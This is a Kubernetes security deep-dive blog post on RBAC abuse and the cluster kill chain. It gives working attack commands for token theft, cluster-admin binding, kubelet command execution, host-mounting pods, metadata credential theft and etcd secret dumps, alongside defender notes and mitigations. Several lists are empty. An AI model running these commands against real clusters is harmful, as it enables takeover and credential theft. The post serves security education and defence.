Kubernetes RBAC Exploitation: A Deep Dive

The four-command takeover

You have shell in a pod. The pod’s service account has one over-granted permission: create on rolebindings in kube-system. The path from that pod to cluster admin is four commands.

# 1. Read the projected SA token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

# 2. Confirm the lever
kubectl --token=$TOKEN auth can-i create rolebindings -n kube-system
# yes

# 3. Bind your SA to cluster-admin
kubectl --token=$TOKEN -n kube-system create rolebinding pwn \
  --clusterrole=cluster-admin \
  --serviceaccount=default:workload-sa

# 4. Use it
kubectl --token=$TOKEN get secrets --all-namespaces

One verb on one resource collapsed the blast radius of an app bug into the whole cluster. That is the shape of most real Kubernetes compromise: small RBAC mistakes compounding with unrestricted pod specs, exposed kubelets, or legacy token grants.

This post walks the kill chain end to end: how attackers get in, what they enumerate, how they escalate, how they pivot to the cloud, and what actually stops them.

Kubernetes attack kill chain: foothold, recon, escalate, lateral, cloud

For scale. Aqua Nautilus found 350+ publicly reachable clusters with no auth and saw active compromise on roughly 60% of them1. Shadowserver routinely reports hundreds of thousands of port-10250 listeners worldwide. A single container escape ends the game on that node, and most nodes hold tokens that end the game on the cluster.

RBAC in the smallest dose that matters

Four objects. Role and ClusterRole define permissions (namespaced vs cluster-wide). RoleBinding and ClusterRoleBinding grant them to subjects: users, groups, service accounts.

Permissions are verbs on resources under an apiGroup:

- apiGroups: [""]
  resources: ["secrets"]
  verbs: ["get", "list"]

Most verbs do what they sound like (get, list, create, update, patch, delete, exec). Three do not, and they matter disproportionately:

If you remember only three verbs, remember those. The rest of this post is mostly corollary.

My take: if I were auditing a cluster blind, the first thing I would run is kubectl-who-can create rolebindings across every namespace. bind on rolebindings inside kube-system is the quiet game-over permission. escalate looks dangerous, impersonate shows up noisily in audit logs, but bind reads like a routine platform grant.

Foothold

Attackers do not always start inside a pod. The common entry points:

Exposed kubelets

Each node runs a kubelet on port 10250. Upstream default was --anonymous-auth=true with AlwaysAllow. Mainstream distros (kubeadm, EKS, GKE, AKS, k3s) ship with anonymous auth off and Webhook authz. Anonymous access in the wild is a misconfiguration, and a common one: Aqua Nautilus sampled 100 exposed kubelets in December 2024 and found 27 accepted unauthenticated API calls, a subset returning service account tokens2.

curl -sk https://<node>:10250/pods
curl -sk https://<node>:10250/run/<ns>/<pod>/<ctr> -d "cmd=id"
curl -sk https://<node>:10250/containerLogs/<ns>/<pod>/<ctr>

Port 10255 was the unauthenticated read-only kubelet port. Deprecated and disabled in modern distros, but still surfaces. CVE-2025-46599 leaked pod and node data from 10255 on k3s 1.32.x.

Callers inside the cluster with nodes/proxy can reach the kubelet through the API server, bypassing most admission and skewing audit attribution:

kubectl get --raw /api/v1/nodes/<node>/proxy/pods

Application RCE in a pod with a mounted token

automountServiceAccountToken defaults to true. Every pod with any SA (even default) gets a token at /var/run/secrets/kubernetes.io/serviceaccount/token. App-level RCE turns into API access immediately:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

curl -s --cacert $CA -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/$NS/secrets

Since 1.24 these are projected BoundServiceAccountTokenVolume tokens: time-bound (usually 1h), audience-bound, auto-rotated. Stolen tokens have a short window unless the attacker keeps code running in-pod to re-read the rotated file. Legacy Secret-backed tokens (pre-1.24 default) do not expire and remain the highest-value target when they exist.

The kube-apiserver caps TokenRequest duration via --service-account-max-token-expiration (commonly 48h). Requests over the cap are silently truncated.

Controller webhooks reachable from pod network

IngressNightmare (CVE-2025-1974, CVSS 9.8) is the current canonical example. Unauthenticated RCE against the ingress-nginx controller: an attacker with pod-network reachability sends a crafted AdmissionReview that injects NGINX config loading an attacker-controlled shared library via ssl_engine. No Ingress permissions required3.

The generalizable point: any admission webhook or controller running with cluster permissions and reachable on the pod network is a first-class target. Nothing about Ingress is special.

Defender’s view. Exposed kubelets show up in external scans and in ingress flows to :10250. Token abuse after RCE shows up in audit logs as API calls from a pod SA to resources outside its normal pattern. An SA that has never read secrets suddenly listing them is cheap to alert on.

Recon

First question from any foothold: what can this identity do?

kubectl auth can-i --list
kubectl auth can-i create pods --all-namespaces
kubectl auth can-i '*' '*'

can-i --list is the most useful command in the attacker toolkit. It answers the only question that matters next: which escalation paths are open.

Second question: what high-value identities exist in reach?

kubectl get sa -A
kubectl get rolebindings,clusterrolebindings -A -o wide | grep cluster-admin
kubectl get pods -A -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name) \(.spec.serviceAccountName)"'

Anything bound to cluster-admin is a pivot target. If you can run a pod in a namespace, and a cluster-admin-bound SA exists in that namespace, you can take over its token.

Escalation

Three reliable paths: RBAC verb abuse, pod creation, secret access.

RBAC verb abuse

escalate lifts the “can only grant what you already hold” restriction:

kubectl create clusterrole pwned --verb=* --resource=*
kubectl create clusterrolebinding pwned --clusterrole=pwned --user=attacker

bind lets you create bindings directly to existing high-privilege roles:

kubectl create clusterrolebinding pwned \
  --clusterrole=cluster-admin \
  --serviceaccount=default:attacker-sa

impersonate skips binding entirely:

kubectl auth can-i --list --as=cluster-admin
kubectl get secrets --as=system:serviceaccount:kube-system:admin-sa
kubectl get nodes --as-group=system:masters --as=any-user

Of the three, bind is the one that gets people. escalate is rare because it is obviously dangerous. impersonate is loud: audit logs carry distinctive Impersonate-* headers. bind on rolebindings looks like a routine platform permission and ends the cluster.

Pod creation

If you can create pods, you almost certainly compromise the cluster. Three patterns, each fine individually, ruinous together.

Mount the host filesystem.

spec:
  containers:
  - name: x
    image: ubuntu
    command: ["sleep", "infinity"]
    volumeMounts: [{name: host, mountPath: /host}]
  volumes:
  - name: host
    hostPath: {path: /, type: Directory}
kubectl exec pod -- chroot /host bash

Root on the node.

Assign a high-privilege SA to your pod. If the target SA exists in a namespace where you can create pods, borrow it:

spec:
  serviceAccountName: admin-sa
  containers: [{name: x, image: ubuntu, command: ["sleep","infinity"]}]
kubectl exec pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token

Run privileged.

securityContext: {privileged: true}

From inside:

mount /dev/sda1 /mnt/host
# or
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

Bishop Fox’s “Bad Pods” catalogs the full matrix. In practice the configurations that matter are privileged, hostPath: /, and hostPID plus enough capabilities to nsenter into PID 1. hostNetwork is lower impact but worth knowing: it reaches node-local services (IMDS, kubelet) and bypasses NetworkPolicy, since the host network sits outside CNI.

Secret access

kubectl get secrets -n kube-system
kubectl get secret admin-token -n kube-system -o jsonpath='{.data.token}' | base64 -d
kubectl get secrets --all-namespaces -o yaml > dump.yaml

On upstream Kubernetes and kubeadm, the default encryption provider is identity: secrets sit in etcd as base64-encoded plaintext. Managed distributions differ. EKS 1.28+ envelope-encrypts all API data with an AWS-owned KMS key by default. GKE encrypts etcd at rest by default; application-layer KMS is optional. AKS encrypts the disk but KMS-based secret encryption is opt-in. Assume upstream behavior only on upstream clusters.

Narrow secret grants with resourceNames when you can. list is the escape hatch attackers look for: resourceNames does not restrict it.

Defender’s view. Alertable events: create or update on roles, clusterroles, or bindings from a non-platform identity; get or list on secrets in kube-system from any pod SA; exec into pods outside a maintenance window; any request carrying Impersonate-User or Impersonate-Group headers.

Lateral movement and the cloud

Pod to pod

Default networking is flat. Every pod reaches every pod:

for i in $(seq 1 255); do
  timeout 1 bash -c "echo >/dev/tcp/10.0.0.$i/6379" 2>/dev/null && echo "10.0.0.$i:6379 open"
done

Internal services rarely authenticate because “it’s on the cluster network”: Redis, Memcached, Elasticsearch, internal gRPC, databases with trust auth. All fair game. Default-deny NetworkPolicy is the fix; adoption is poor.

Cluster to cloud via IMDS

Node IAM usually exceeds cluster needs. A pod that reaches the node’s metadata service inherits whatever the node can do.

# AWS
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

IMDSv2 with hop-limit 1 (AWS) and metadata concealment (GKE) raise the bar but are not universally configured. On EKS, prefer IRSA or Pod Identity over inheriting node IAM in the first place.

Node and etcd compromise

Harvest tokens from a compromised node

Once you are root on a node (host mount or breakout), every pod’s projected token is in the kubelet’s pod dir:

find /var/lib/kubelet/pods -name token 2>/dev/null -exec cat {} \;

One token per pod on that node. At least one is usually interesting.

etcd

On a control plane node, etcd holds everything: pods, secrets, configmaps, RBAC, SA data.

export ETCDCTL_API=3
export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/server.crt
export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/server.key

etcdctl get /registry/secrets --prefix

etcd write access is the endgame: mint cluster-admin SAs, rewrite RBAC, inject privileged pods, extract every secret.

Admission bypass

Admission controllers (PSA, OPA/Gatekeeper, Kyverno, custom webhooks) are only as strong as their reachability and configuration. Practical bypass vectors, in rough order of how often they work:

  1. failurePolicy: Ignore plus DoS the webhook pod. Unreachable webhook, request admitted.
  2. Delete the ValidatingWebhookConfiguration if you have the RBAC. Attackers with cluster-admin-adjacent permissions frequently do.
  3. Namespace exempted from namespaceSelector. kube-system is often excluded; pod create there wins.
  4. nodes/proxy to the kubelet. Admission runs on API server requests, not kubelet requests.
  5. An API version the webhook does not match. Less common now, still a real bypass.

CVE-2021-25735 is worth knowing for the class: validating webhooks on Node updates received stale state, admitting unauthorized modifications (kube-apiserver ≤ 1.20.5).

Runtime and host CVEs worth knowing

Kill-chain impact matters more than CVSS. These end the node or the container boundary:

The runc bugs are not theoretical. Leaky Vessels shipped with a working PoC on default configs, and the 2025 pair both had PoCs within days of disclosure.

Real attacks

TeamTNT. Sysdig quantified one cryptojacking campaign’s asymmetry: roughly $430k in victim cloud bills for ~$8.1k in attacker profit, a 53:1 ratio4. 2021 attribution from Trend Micro and LevelBlue totals ~50k compromised IPs and the Chimaera campaign (10k+ Docker/Kubernetes/Redis devices)5. Techniques were boring: scan :10250, deploy miners, Peirates in-cluster, BOtB for breakout. Boring and effective.

IngressNightmare (2025). Covered above. The lesson I keep coming back to: admission webhooks running with cluster permissions on pod-reachable networks are a first-class target. The bug class applies to any such controller, and I expect more of them.

What actually stops this

Ranked by leverage against the kill chain above.

Highest leverage.

Medium leverage.

Detection that pays rent.

Everything else is hygiene: dedicated SA per workload, projected over Secret-backed tokens, gVisor/Kata for multi-tenant, egress allowlists, service-mesh mTLS. Useful, but lower leverage than the three at the top.

Tools

References

Kubernetes docs: RBAC, Pod Security Standards, Security Checklist.

Research: Bad Pods (Bishop Fox), Threat Matrix for Kubernetes (Microsoft), HackTricks Cloud, SCHUTZWERK RBAC privesc, KubeHound Attack Reference.

Tools: Peirates, kube-hunter, Kubesploit, badPods, KubeHound, rbac-police.

  1. Aqua Nautilus, Kubernetes Exposed: One YAML Away From Disaster, 2023. blog.aquasec.com 

  2. Aqua Nautilus, Kubernetes Exposed: Exploiting the Kubelet API, 2024. aquasec.com 

  3. Wiz Research, IngressNightmare: Critical vulnerabilities in ingress-nginx, 2025. wiz.io 

  4. Sysdig, The Real Cost of Cryptomining: TeamTNT, 2022. sysdig.com 

  5. Trend Micro, TeamTNT Targets Kubernetes, Nearly 50,000 IPs Compromised, 2021. trendmicro.com